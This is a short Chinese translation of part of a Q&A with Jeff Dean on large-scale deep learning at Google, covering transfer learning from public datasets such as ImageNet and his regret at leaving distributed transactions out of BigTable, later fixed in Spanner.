如果不是诸如谷歌这样的大公司,无法获取海量数据集,你会怎么做?从一个运行良好的模型开始,用公共数据集进行训练。公共数据集普遍可以获取。然后用更加适合你问题的数据进行训练。当你从一个类似并且公开可获取的数据组开始时,针对你的特殊问题,可能只需要1,000或者10,000标签实例。ImageNet就是这种处理可行的好例子。

身为一个工程师,你所犯过的最大错误是什么?没有在BigTable里放入分布式事务处理能力。如果你想要更新多条数据,你不得不运作你自己的事务处理流程。没有放入事务处理能力是因为会增加系统设计的复杂度。回想起来,很对团队想要有那种能力,他们各自独立(在上层)去添加这个能力,也获得了不同程度成功。我们应该在核心系统实现事务处理能力。它在内部应用场景也会很有用。Spanner系统增加了事务处理搞定了这个问题。

英文链接:Jeff Dean on Large-Scale Deep Learning at Google